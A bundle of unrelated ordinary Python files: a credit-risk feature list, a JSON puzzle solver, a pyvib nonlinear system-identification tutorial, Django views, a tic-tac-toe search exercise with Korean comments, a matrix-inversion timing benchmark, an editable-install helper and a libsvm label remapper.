# xgb特征程度不高，丢弃
def notImportantfeat():
    lst = ['days_employed_365243', 'organization_type_XNA', 'hour_appr_process_start_22',
           'hour_appr_process_start_2', 'hour_appr_process_start_4', 'hour_appr_process_start_21',
           'hour_appr_process_start_20', 'hour_appr_process_start_1', 'wallsmaterial_mode_Monolithic',
           'wallsmaterial_mode_Mixed', 'organization_type_Insurance', 'organization_type_Security Ministries',
           'organization_type_Cleaning', 'organization_type_Electricity', 'organization_type_Telecom',
           'organization_type_Agriculture', 'organization_type_University', 'organization_type_Culture',
           'organization_type_Advertising', 'organization_type_Services', 'organization_type_Emergency',
           'organization_type_Mobile', 'Bad debt', 'days_credit_count', 'credit_day_overdue_min_mean_ratio',
           'credit_day_overdue7_ratio', 'credit_day_overdue_count', 'credit_day_overdue_min_max_ratio',
           'day_amt_overdue_min_mean_ratio_count', 'amt_credit_sum_overdue_min_mean_ratio',
           'amt_credit_sum_count', 'amt_credit_sum_overdue_count', 'amt_credit_sum_overdue_min_mean_ratio']
    return lst

'''
Index(['sk_id_prev', 'sk_id_curr', 'months_balance', 'amt_balance',
       'amt_credit_limit_actual', 'amt_drawings_atm_current',
       'amt_drawings_current', 'amt_drawings_other_current',
       'amt_drawings_pos_current', 'amt_inst_min_regularity',
       'amt_payment_current', 'amt_payment_total_current',
       'amt_receivable_principal', 'amt_recivable', 'amt_total_receivable',
       'cnt_drawings_atm_current', 'cnt_drawings_current',
       'cnt_drawings_other_current', 'cnt_drawings_pos_current',
       'cnt_instalment_mature_cum', 'name_contract_status', 'sk_dpd',
       'sk_dpd_def'],

credit_card_balance.loc[credit_card_balance['sk_id_curr']==378907, ['sk_id_prev', 'months_balance']]

df['sk_id_curr'].duplicated().value_counts()

'''


import re
import json

def getRedList(startDict):
    myRedList = []
    def sortLastDictWithRed(startDict):
        if "red" in startDict.values():
            myRedList.append(startDict)
        else:
            for value in startDict.values():
                if isinstance(value,dict):
                    sortLastDictWithRed(value)
                elif isinstance(value,list): # explore down a layer if a list
                    for el in value:
                        if isinstance(el, dict):
                            sortLastDictWithRed(el)
                        elif isinstance(el, list):
                            mydict = {"mydict":el}
                            sortLastDictWithRed(mydict) # make sure recursion keeps going when list exist, explore down a layer if a list
    sortLastDictWithRed(startDict)
    return myRedList

def main():
    with open('input.json') as f:
        mystr = f.read()
    f.close()

    myNumberList = re.findall(r'-?\d+', mystr) # optional - using ? in regex
    totolResult = sum(list(map(lambda x: int(x), myNumberList)))

    # get the list with red in dict as required
    myjsonDict = json.loads(mystr)
    print(myjsonDict)
    myRedList = getRedList(myjsonDict)
    print("this is my red list ", myRedList)

    # find the number of within the red dicts
    myRedNumberList = re.findall(r'-?\d+', str(myRedList))
    redResult = sum(list(map(lambda x: int(x), myRedNumberList)))

    # calculate final result
    finalResult = totolResult - redResult
    print(totolResult, redResult, finalResult)

# at the beginning it is always wrong, so I try to use the output to make some compare then found out the list is not recursive to the end
if __name__ == '__main__': main()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from copy import deepcopy

import matplotlib.pyplot as plt
import numpy as np
from scipy.linalg import norm

from scipy.io import loadmat

from pyvib.common import db
from pyvib.forcing import multisine
from pyvib.frf import covariance
from pyvib.nlss import NLSS
from pyvib.nonlinear_elements import (NLS, Nonlinear_Element,
                                      Tanhdryfriction, Unilatteralspring)
from pyvib.signal import Signal
from pyvib.subspace import Subspace
from pyvib.fnsi import FNSI

"""This tutorial shows the work flow of modeling a single input single output
(SISO) polynomial nonlinear state-space (PNLSS) model.

The tutorial shows how to
1) generate a multisine signal
2) compute the response of a SISO PNLSS model to the multisine input
3) estimate a nonparametric linear model from the input and noisy output data
4) estimate a parametric linear state-space model on the nonparametric model
5) estimate the parameters in the full PNLSS model

Translation of the tutorial provided with the matlab PNLSS program[1]_

[1]_
http://homepages.vub.ac.be/~ktiels/pnlss.html
"""

# save figures to disk
savefig = False
add_noise = False
weight = False
p = 2

## Generate data from true model ##
# Construct model to estimate
A = np.array([[0.73915535, -0.62433133],[0.6247377, 0.7364469]])
B = np.array([[0.79287245], [-0.34515159]])
C = np.array([[0.71165154, 0.34917771]])
D = np.array([[0.04498052]])
if p == 2:
    C = np.vstack((C,C))
    D = np.vstack((D,0.1563532))

Ffull = np.array([[-0.00867042, -0.00636662]])
Efull = np.array([[1.88130305e-01, -2.70291900e-01],
                  [-5.35196110e-01,-3.66250013e-01]])

if p == 1:
    Wy = [1]
    Wt = [1]
elif p ==2:
    Wt = [0,1]

F = np.array([])
nly = None

# for identification
tahn1 = Tanhdryfriction(eps=0.1, w=Wt)
nlx = [tahn1]
E = 1e0*Efull[:,:len(nlx)]

true_model = FNSI(A, B, C, D, E, F)
true_model.add_nl(nlx=nlx, nly=nly)

# excitation signal
RMSu = 0.05   # Root mean square value for the input signal
npp = 2048    # Number of samples
R = 3         # Number of phase realizations (one for validation and one for
              # testing)
P = 3         # Number of periods
kind = 'Odd'  # 'Full','Odd','SpecialOdd', or 'RandomOdd': kind of multisine
m = D.shape[1]         # number of inputs
p = C.shape[0]         # number of outputs
fs = 1        # normalized sampling rate
Ntr = 2
if True:
    # get predictable random numbers. https://dilbert.com/strip/2001-10-25
    np.random.seed(10)
    # shape of u from multisine: (R,P*npp)
    u, lines, freq, t = multisine(N=npp, P=P, R=R, lines=kind, rms=RMSu)
    # if multiple input is required, this will copy u m times

    # Transient: Add one period before the start of each realization. To generate
    # steady state data.
    T1 = np.r_[npp*Ntr, np.r_[0:(R-1)*P*npp+1:P*npp]]
    _, yorig, _ = true_model.simulate(u.ravel(), T1=T1)
    print(norm(yorig))
    u = u.reshape((R,P,npp)).transpose((2,0,1))[:,None]  # (npp,m,R,P)
    y = yorig.reshape((R,P,npp,p),order='C').transpose((2,3,0,1))

    #y = yorig.reshape((R,P,npp)).transpose((2,0,1))[:,None]
    # or in F order:
    # y2 = yorig.reshape((npp,P,R,p),order='F').transpose((0,3,2,1))

    # Add colored noise to the output. randn generate white noise
    if add_noise:
        np.random.seed(10)
        noise = 1e-3*np.std(y[:,-1,-1]) * np.random.randn(*y.shape)
        # Do some filtering to get colored noise
        noise[1:-2] += noise[2:-1]
        y += noise

    ## START of Identification ##
    # partitioning the data. Use last period of two last realizations.
    # test for performance testing and val for model selection
    utest = u[:,:,-1,-1]
    ytest = y[:,:,-1,-1]
    uval = u[:,:,-2,-1]
    yval = y[:,:,-2,-1]
    # all other realizations are used for estimation
    uest = u[...,0,:][:,:,None]
    yest = y[...,0,:][:,:,None]
    # noise estimate over periods. This sets the performace limit for the estimated
    # model
    covY = covariance(yest)
    Pest = yest.shape[-1]

    # create signal object
    sig = Signal(uest,yest,fs=fs)
    sig.lines = lines
    # plot periodicity for one realization to verify data is steady state
    #sig.periodicity()
    # Calculate BLA, total- and noise distortion. Used for subspace identification
    sig.bla()
    # average signal over periods. Used for training of PNLSS model
    um, ym = sig.average()

# model orders and Subspace dimensioning parameter
nvec = [2,3]
maxr = 5

if 'linmodel' not in locals() or True:
    Rest = yest.shape[2]
    T1 = np.r_[npp*Ntr, np.r_[0:(Rest-1)*npp+1:npp]]

    linmodel = FNSI()
    linmodel.set_signal(sig)
    linmodel.estimate(n=2, r=5, weight=weight)

    linmodel.transient(T1)
    # linmodel._cost_normalize = 1
    linmodel.optimize(weight=weight)

    fnsi1 = FNSI()
    fnsi1.set_signal(sig)
    fnsi1.add_nl(nlx=nlx)
    fnsi1.estimate(n=2, r=5, weight=weight)
    fnsi1.transient(T1)
    #fnsi1.optimize(lamb=100, weight=weight, nmax=25)

    print(f"Best subspace model, n, r: {linmodel.n}, {linmodel.r}")
    # linmodel_orig = linmodel

if False:  # dont scan subspace
    linmodel = Subspace(sig)
    # get best model on validation data
    models, infodict = linmodel.scan(nvec, maxr, weight=weight)
    l_errvec = linmodel.extract_model(yval, uval)
    # or estimate the subspace model directly
    linmodel.estimate(2, 5, weight=weight)  # best model, when noise weighting is used
    linmodel.optimize(weight=weight)
    print(f"Best subspace model, n, r: {linmodel.n}, {linmodel.r}")

# linmodel = deepcopy(linmodel_orig)
# estimate PNLSS
# transient: Add one period before the start of each realization. Note that
# this is for the signal averaged over periods
Rest = yest.shape[2]
T1 = np.r_[npp*Ntr, np.r_[0:(Rest-1)*npp+1:npp]]

nlx2 = NLS([tahn1])
nly2 = None

model = NLSS(linmodel)
model._cost_normalize = 1
model.add_nl(nlx=nlx2, nly=nly2)
model.set_signal(sig)
model.transient(T1)
model.optimize(lamb=100, weight=weight, nmax=25)

#raise SystemExit(0)

# get best model on validation data. Change Transient settings, as there is
# only one realization
nl_errvec = model.extract_model(yval, uval, T1=npp*Ntr)

models = [linmodel, model, fnsi1]
descrip = [type(mod).__name__ for mod in models]
descrip = tuple(descrip)  # convert to tuple for legend concatenation in figs
# simulation error
val = np.empty((*yval.shape, len(models)))
est = np.empty((*ym.shape, len(models)))
test = np.empty((*ytest.shape, len(models)))
for i, model in enumerate(models):
    test[...,i] = model.simulate(utest, T1=npp*Ntr)[1]
    val[...,i] = model.simulate(uval, T1=npp*Ntr)[1]
    est[...,i] = model.simulate(um, T1=T1)[1]

# convenience inline functions
stack = lambda ydata, ymodel: \
    np.concatenate((ydata[...,None], (ydata[...,None] - ymodel)),axis=2)
rms = lambda y: np.sqrt(np.mean(y**2, axis=0))
est_err = stack(ym, est)  # (npp*R,p,nmodels)
val_err = stack(yval, val)
test_err = stack(ytest, test)
noise = np.abs(np.sqrt(Pest*covY.squeeze()))
print(f"err for models {descrip}")
print(f'rms error noise: {rms(noise)}\tdb: {db(rms(noise))} ')
print(f'rms error est:  \n{rms(est_err)}   \ndb: \n{db(rms(est_err))}')
print(f'rms error val:  \n{rms(val_err)}   \ndb: \n{db(rms(val_err))}')
print(f'rms error test: \n{rms(test_err)}  \ndb: \n{db(rms(test_err))}')

## Plots ##
# store figure handle for saving the figures later
figs = {}

# linear and nonlinear model error; plot for each output
for pp in range(p):
    plt.figure()
    plt.plot(est_err[:,pp])
    plt.xlabel('Time index')
    plt.ylabel('Output (errors)')
    plt.legend(('Output',) + descrip)
    plt.title(f'Estimation results p:{pp}')
    figs['estimation_error'] = (plt.gcf(), plt.gca())

    # result on validation data
    N = len(yval)
    freq = np.arange(N)/N*fs
    plottime = val_err
    plotfreq = np.fft.fft(plottime, axis=0)/np.sqrt(N)
    nfd = plotfreq.shape[0]
    plt.figure()
    plt.plot(freq[lines], db(plotfreq[lines,pp]), '.')
    plt.plot(freq[lines], db(np.sqrt(Pest*covY[lines,pp,pp].squeeze() / N)), '.')
    plt.xlabel('Frequency')
    plt.ylabel('Output (errors) (dB)')
    plt.legend(('Output',) + descrip + ('Noise',))
    plt.title(f'Validation results p:{pp}')
    figs['val_data'] = (plt.gcf(), plt.gca())

    # result on test data
    N = len(ytest)
    freq = np.arange(N)/N*fs
    plottime = test_err
    plotfreq = np.fft.fft(plottime, axis=0)/np.sqrt(N)
    nfd = plotfreq.shape[0]
    plt.figure()
    plt.plot(freq[:nfd//2], db(plotfreq[:nfd//2,pp]), '.')
    plt.plot(freq[:nfd//2], db(np.sqrt(Pest*covY[:nfd//2,pp,pp].squeeze() / N)), '.')
    plt.xlabel('Frequency')
    plt.ylabel('Output (errors) (dB)')
    plt.legend(('Output',) + descrip + ('Noise',))
    plt.title(f'Test results p:{pp}')
    figs['test_data'] = (plt.gcf(), plt.gca())

    try:
        # BLA plot. We can estimate nonlinear distortion
        # total and noise distortion averaged over P periods and M realizations
        # total distortion level includes nonlinear and noise distortion
        plt.figure()
        # When comparing distortion(variance, proportional to power) with
        # G(propertional to amplitude(field)), there is two definations for dB:
        # dB for power: Lp = 10 log10(P).
        # dB for field quantity: Lf = 10 log10(F²)
        # Alternative calc: bla_noise = db(np.abs(sig.covGn[:,pp,pp])*R, 'power')
        # if the signal is noise-free, fix noise so we see it in plot
        bla_noise = db(np.sqrt(np.abs(sig.covGn[:,pp,pp])*R))
        bla_noise[bla_noise < -150] = -150
        bla_tot = db(np.sqrt(np.abs(sig.covG[:,pp,pp])*R))
        bla_tot[bla_tot < -150] = -150

        plt.plot(freq[lines], db(np.abs(sig.G[:,pp,0])))
        plt.plot(freq[lines], bla_noise,'s')
        plt.plot(freq[lines], bla_tot,'*')
        plt.xlabel('Frequency (Hz)')
        plt.ylabel('magnitude (dB)')
        plt.title(f'Estimated BLA p: {pp}')
        plt.legend(('BLA FRF','Noise Distortion','Total Distortion'))
        plt.gca().set_ylim(bottom=-150)
        figs['bla'] = (plt.gcf(), plt.gca())
    except:
        pass

# optimization path for PNLSS
plt.figure()
plt.plot(db(nl_errvec))
imin = np.argmin(nl_errvec)
plt.scatter(imin, db(nl_errvec[imin]))
plt.xlabel('Successful iteration number')
plt.ylabel('Validation error [dB]')
plt.title('Selection of the best model on a separate data set')
figs['pnlss_path'] = (plt.gcf(), plt.gca())

# subspace plots
#figs['subspace_optim'] = linmodel.plot_info()
#figs['subspace_models'] = linmodel.plot_models()

if savefig:
    for k, fig in figs.items():
        fig = fig if isinstance(fig, list) else [fig]
        for i, f in enumerate(fig):
            f[0].tight_layout()
            f[0].savefig(f"fig/tutorial_{k}{i}.pdf")

plt.show()

"""
Workable parameters
-------------------
RMSu = 0.05
Ntr = 5
nlx = NLS([Tanhdryfriction(eps=0.1, w=[1])])
E = 1e-1*Efull[:,:len(nlx.nls)]

----
RMSu = 0.05
Ntr = 5

gap = 0.25
nlx = NLS([Unilatteralspring(gap=gap, w=[1])])
E = 1e-1*Efull[:,:len(nlx.nls)]
----

RMSu = 0.05
Ntr = 5
E = Efull[:,:2]
nlx = NLS([poly2y, poly1y])  #, poly3])

nlx2 = NLS([poly1y,poly3y,poly2x,poly2y])  #,poly3])
nly2 = None

====
p = 2

if p == 2:
    C = np.vstack((C,C))
    D = np.vstack((D,0.1563532))

E = Efull
F = Ffull
nlx = NLS([Pnlss(degree=[2,3], structure='full')])
nly = NLS([Pnlss(degree=[2,3], structure='full')])
----

elif p ==2:
    Wy = np.array([[1,0],[0,1]])
    exp1 = [2,1]
    exp2 = [2,2]
    exp3 = [3,1]

nly = None
nlx = NLS([poly2y, poly1y])
E = Efull[:,:len(nlx.nls)]

nlx2 = NLS([poly1y,poly3y,poly2x,poly2y])
"""


from django.contrib.auth import authenticate, login
from django.contrib.auth import logout
from django.http import JsonResponse
from django.shortcuts import render, get_object_or_404
from django.db.models import Q
from lab.models import *

def index(request):
    current_projects = Project.objects.filter(state='current').order_by('start_date')
    achieved_projects = Project.objects.filter(state='achieved').order_by('start_date')
    context = {
        'current_projects' : current_projects,
        'achieved_projects' : achieved_projects,
    }
    return render(request, 'lab/projects/index.html', context)

def detail(request, project_id):
    project = get_object_or_404(Project, pk=project_id)
    tools = project.tool_set.all().order_by('date')
    context = {
        'project': project,
        'tools' : tools,
    }
    return render(request, 'lab/projects/detail.html', context)

def tool(request, tool_id):
    tool = get_object_or_404(Tool, pk=tool_id)
    context = {
        'tool' : tool,
    }
    return render(request, 'lab/projects/tool.html', context)


# -*- coding: utf-8 -*-
"""
Created on Mon Jan 18 18:07:00 2021

@author: 알파제로를 분석하며 배우는 인공지능
"""

#%%

# 이전 코드들

# 틱택토 생성
import random

# 게임 상태
class State:
    # 초기화
    def __init__(self, pieces=None, enemy_pieces=None):
        # 돌 배치
        self.pieces = pieces if pieces != None else [0]*9
        self.enemy_pieces = enemy_pieces if enemy_pieces != None else [0]*9

    # 돌의 수 취득
    def piece_count(self, pieces):
        count = 0
        for i in pieces:
            if i == 1:
                count += 1
        return count

    # 패배 여부 판정
    def is_lose(self):
        # 돌 3개 연결 여부
        def is_comp(x,y,dx,dy):
            for k in range(3):
                if y<0 or 2<y or x<0 or 2<x or \
                    self.enemy_pieces[x + y*3] == 0:
                    return False

                x = x + dx
                y = y + dy
            return True

        if is_comp(0,0,1,1) or is_comp(0,2,1,-1):
            return True

        for i in range(3):
            if is_comp(0,i,1,0) or is_comp(i,0,0,1):
                return True

        return False

    # 무승부 여부 판정
    def is_draw(self):
        return self.piece_count(self.pieces) + self.piece_count(self.enemy_pieces) == 9

    # 게임 종료 여부 판정
    def is_done(self):
        return self.is_lose() or self.is_draw()

    # 다음 상태 얻기
    def next(self,action):
        pieces = self.pieces.copy()
        pieces[action] = 1
        return State(self.enemy_pieces, pieces)

    # 둘 수 있는 수의 리스트 얻기
    def legal_actions(self):
        actions = []
        for i in range(9):
            if self.pieces[i] == 0 and self.enemy_pieces[i] == 0:
                actions.append(i)
        return actions

    # 선 수 여부 판정
    def is_first_player(self):
        return self.piece_count(self.pieces) == self.piece_count(self.enemy_pieces)

    # 문자열 표시
    def __str__(self):
        ox = ('o','x') if self.is_first_player() else ('x','o')
        str = ''

        for i in range(9):
            if self.pieces[i] == 1:
                str += ox[0]
            elif self.enemy_pieces[i] == 1:
                str += ox[1]
            else:
                str += '-'

            if i%3 == 2:
                str += '\n'
        return str

# 알파베타법을 활용한 상태 가치 계산
def alpha_beta(state, alpha, beta):
    # 패배 시 상태 가치 -1
    if state.is_lose():
        return -1

    # 무승부 시 상태 가치 0
    if state.is_draw():
        return 0

    # 둘 수 있는 수의 상태 가치 계산
    for action in state.legal_actions():
        score = -alpha_beta(state.next(action), -beta, -alpha)
        if score > alpha:
            alpha = score

        # 현재 노드의 베스트 스코어가 새로운 노드보다 크면 탐색 종료
        if alpha >= beta:
            return alpha

    # 둘 수 있는 수의 상태 가치 최댓값 반환
    return alpha

# 5-2-5 알파베타법을 활용한 행동 선택

# 알파베타법을 활용한 행동 선택
def alpha_beta_action(state):
    # 둘 수 있는 수의 상태 가치 계산
    best_action = 0
    alpha = -float('inf')
    str = ['','']
    for action in state.legal_actions():
        score = -alpha_beta(state.next(action), -float('inf'), -alpha)
        if score > alpha:
            best_action = action
            alpha = score

        str[0] = "{}{:2d},".format(str[0], action)
        str[1] = "{}{:2d},".format(str[1], score)
    #print('action: ',str[0],"\nscore: ",str[1],"\n")

    # 둘 수 있는 수의 상태 가치값 중 최댓값을 선택하는 행동 반환
    return best_action

def random_action(state):
    legal_actions = state.legal_actions()
    return legal_actions[random.randint(0,len(legal_actions)-1)]

#%%

# 5-3-1 원시 몬테카를로 탐색
import numpy as np

def playout(state):
    # 패배 시 상태 가치 -1
    if state.is_lose():
        return -1

    # 무승부 시 상태 가치 0
    if state.is_draw():
        return 0

    # 다음 상태의 상태 평가
    return -playout(state.next(random_action(state)))

# 원시 몬테카를로 탐색을 활용한 행동 선택
def mcs_action(state):
    # 둘 수 있는 수별로 10회 플레이아웃 시행 후 상태 가치의 합계 계산
    legal_actions = state.legal_actions()
    values = [0] * len(legal_actions)
    for i,action in enumerate(legal_actions):
        for _ in range(10):
            values[i] += -playout(state.next(action))

    # 둘 수 있는 수의 상태 가치 합계가 최댓값을 가지는 행동 반환
    return legal_actions[np.argmax(values)]

#%%

# 원시 몬테카를로 탐색 vs 랜덤/알파베타법의 대전

# 파라미터
EP_GAME_COUNT = 100 # 평가 1회당 게임 수

# 선 수 플레이어 포이늩
def first_player_point(ended_state):
    # 1: 선 수 플레이어 승리, 0: 선 수 플레이어 패배, 0.5 무승부
    if ended_state.is_lose():
        return 0 if ended_state.is_first_player() else 1
    return 0.5

# 게임 실행
def play(next_actions):
    # 상태 생성
    state = State()

    # 게임 종료 시까지 반복
    while True:
        # 게임 종료
        if state.is_done():
            break

        # 행동 얻기
        next_action = next_actions[0] if state.is_first_player() else next_actions[1]
        action = next_action(state)

        # 다음 상태 얻기
        state = state.next(action)

    # 선 수 플레이어 포인트 반환
    return first_player_point(state)

# 임의의 알고리즘 평가
def evaluate_algorithm_of(label, next_actions):
    # 여러 차례 대전 반복
    total_point = 0
    for i in range(EP_GAME_COUNT):
        # 게임 실행
        if i % 2 == 0:
            total_point += play(next_actions)
        else:
            total_point += 1 - play(list(reversed(next_actions)))

        # 출력
        print("\nEvaluate: {}/{}".format(i+1, EP_GAME_COUNT), end='')
    print()

    # 평균 포인트 계산
    average_point = total_point / EP_GAME_COUNT
    print(label.format(average_point))

# vs 랜덤
next_actions = (mcs_action, random_action)
evaluate_algorithm_of('VS_Random {:.3f}',next_actions)

# vs 알파베타법
next_actions = (mcs_action, alpha_beta_action)
evaluate_algorithm_of('VS_AlphaBeta {:.3f}',next_actions)


from scipy import single,linalg
from matriz_laplaciana import matriz_laplaciana
from time import perf_counter
import matplotlib.pyplot as plt

#TAMAÑO MATRICES
Ns=[2,5,10,12,15,20,30,40,45,50,55,60,75,100,125,160,
    200,250,350,500,600,800,1000,2000,5000,10000]

#CREANDO ARCHIVO DE TEXTO
dts=[]
mem=[]
name=("timing_caso_2_single.txt")
fid=open(name,"w")

for N in Ns:

    print(f"N = {N}")

    A=matriz_laplaciana(N,single)

    t1=perf_counter()
    C=linalg.inv(A,overwrite_a=False)
    t2=perf_counter()

    dt=t2-t1

    size=2*(N**2)*8

    dts.append(dt)
    mem.append(size)

    fid.write(f"{N} {dt} {size}\n")

    print(f"Tiempo transcurrido = {dt} s")
    print(f"Memoria usada = {size} bytes")

    fid.flush()

fid.close()

#CURVA
plt.figure()

tamano=[]
tiempo=[]
memoria=[]

f = open(name, "r")

for i in f:
    lista_fila=i.split()
    tamano.append(int(lista_fila[0]))
    tiempo.append(float(lista_fila[1]))
    memoria.append(int(lista_fila[2]))
f.close()

plt.subplot(2,1,1)

plt.plot(tamano,tiempo,marker="o",color="green")
plt.loglog(tamano,tiempo,marker="o",color="green")

xTicks = [10,20,50,100,200,500,1000,2000,5000,10000,20000]
xTicks_Text = ["","","","","","","","","","",""]

yTicks = [10**-4,10**-3,10**-2,10**-1,1,10,60,600]
yTicks_Text = ["0.1 ms","1 ms","10 ms","0.1 s","1 s","10 s","1 min","10min"]

plt.yticks(yTicks, yTicks_Text)
plt.xticks(xTicks, xTicks_Text,rotation=45)

plt.title("Desempeño INV", fontsize=10)
plt.ylabel("Tiempo transcurrido")

plt.grid(True)

plt.subplot(2,1,2)

plt.plot(tamano, memoria,marker="o",color="green")
plt.loglog(tamano,memoria,marker="o",color="green")

xTicks = [10,20,50,100,200,500,1000,2000,5000,10000,20000]
xTicks_Text = ["10","20","50","100","200","500","1000",
                "2000","5000","10000","20000"]

yTicks = [10**3,10**4,10**5,10**6,10**7,10**8,10**9,10**10]
yTicks_Text = ["1 KB","10 KB","100 KB","1 MB","10 MB","100 MB","1 GB","10 GB"]

plt.yticks(yTicks, yTicks_Text)
plt.xticks(xTicks, xTicks_Text,rotation=45)

plt.xlabel("Tamaño matriz N")
plt.ylabel("Uso memoria")

plt.axhline(y=384000,color='k',ls="--")
plt.axhline(y=2*10**6,color='k',ls="--")
plt.axhline(y=4*10**6,color='k',ls="--")

plt.grid(True)

plt.tight_layout()

plt.show()


"""A compatible script to install editable distributions."""
import os
import sys
import tokenize

from setuptools.command import easy_install

def install(setup_py, prefix):
    __file__ = setup_py
    bin_dir = "Scripts" if os.name == "nt" else "bin"
    install_dir = os.path.join(prefix, "lib")
    scripts_dir = os.path.join(prefix, bin_dir)

    with getattr(tokenize, "open", open)(setup_py) as f:
        code = f.read().replace("\\r\\n", "\n")
    sys.argv[1:] = [
        "develop",
        "--install-dir={0}".format(install_dir),
        "--no-deps",
        "--prefix={0}".format(prefix),
        "--script-dir={0}".format(scripts_dir),
        "--site-dirs={0}".format(install_dir),
    ]
    # Patches the script writer to inject library path
    easy_install.ScriptWriter.template = easy_install.ScriptWriter.template.replace(
        "import sys",
        "import sys\nsys.path.insert(0, {0!r})".format(install_dir.replace("\\", "/")),
    )
    exec(compile(code, __file__, "exec"))

if __name__ == "__main__":
    setup_py, prefix = sys.argv[1:3]
    install(setup_py, prefix)


#!/usr/bin/env python3

import sys
from sklearn.datasets import load_svmlight_file, dump_svmlight_file

def remap_labels(y, mapping):
    for i in range(y.shape[0]):
        new_id = mapping.get(y[i], len(mapping))
        if new_id == len(mapping):
            mapping[y[i]] = new_id
        y[i] = new_id

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: remap_libsvm.py [file ...]")
        exit(1)

    mapping = {}
    for file in sys.argv[1:]:
        X, y = load_svmlight_file(file, multilabel=True)
        remap_labels(y, mapping)
        dump_svmlight_file(X, y, file + ".remapped")

    print("Max id of label in original mapping:", max(mapping, key=int))
    print("Max id of label in after remapping:", len(mapping))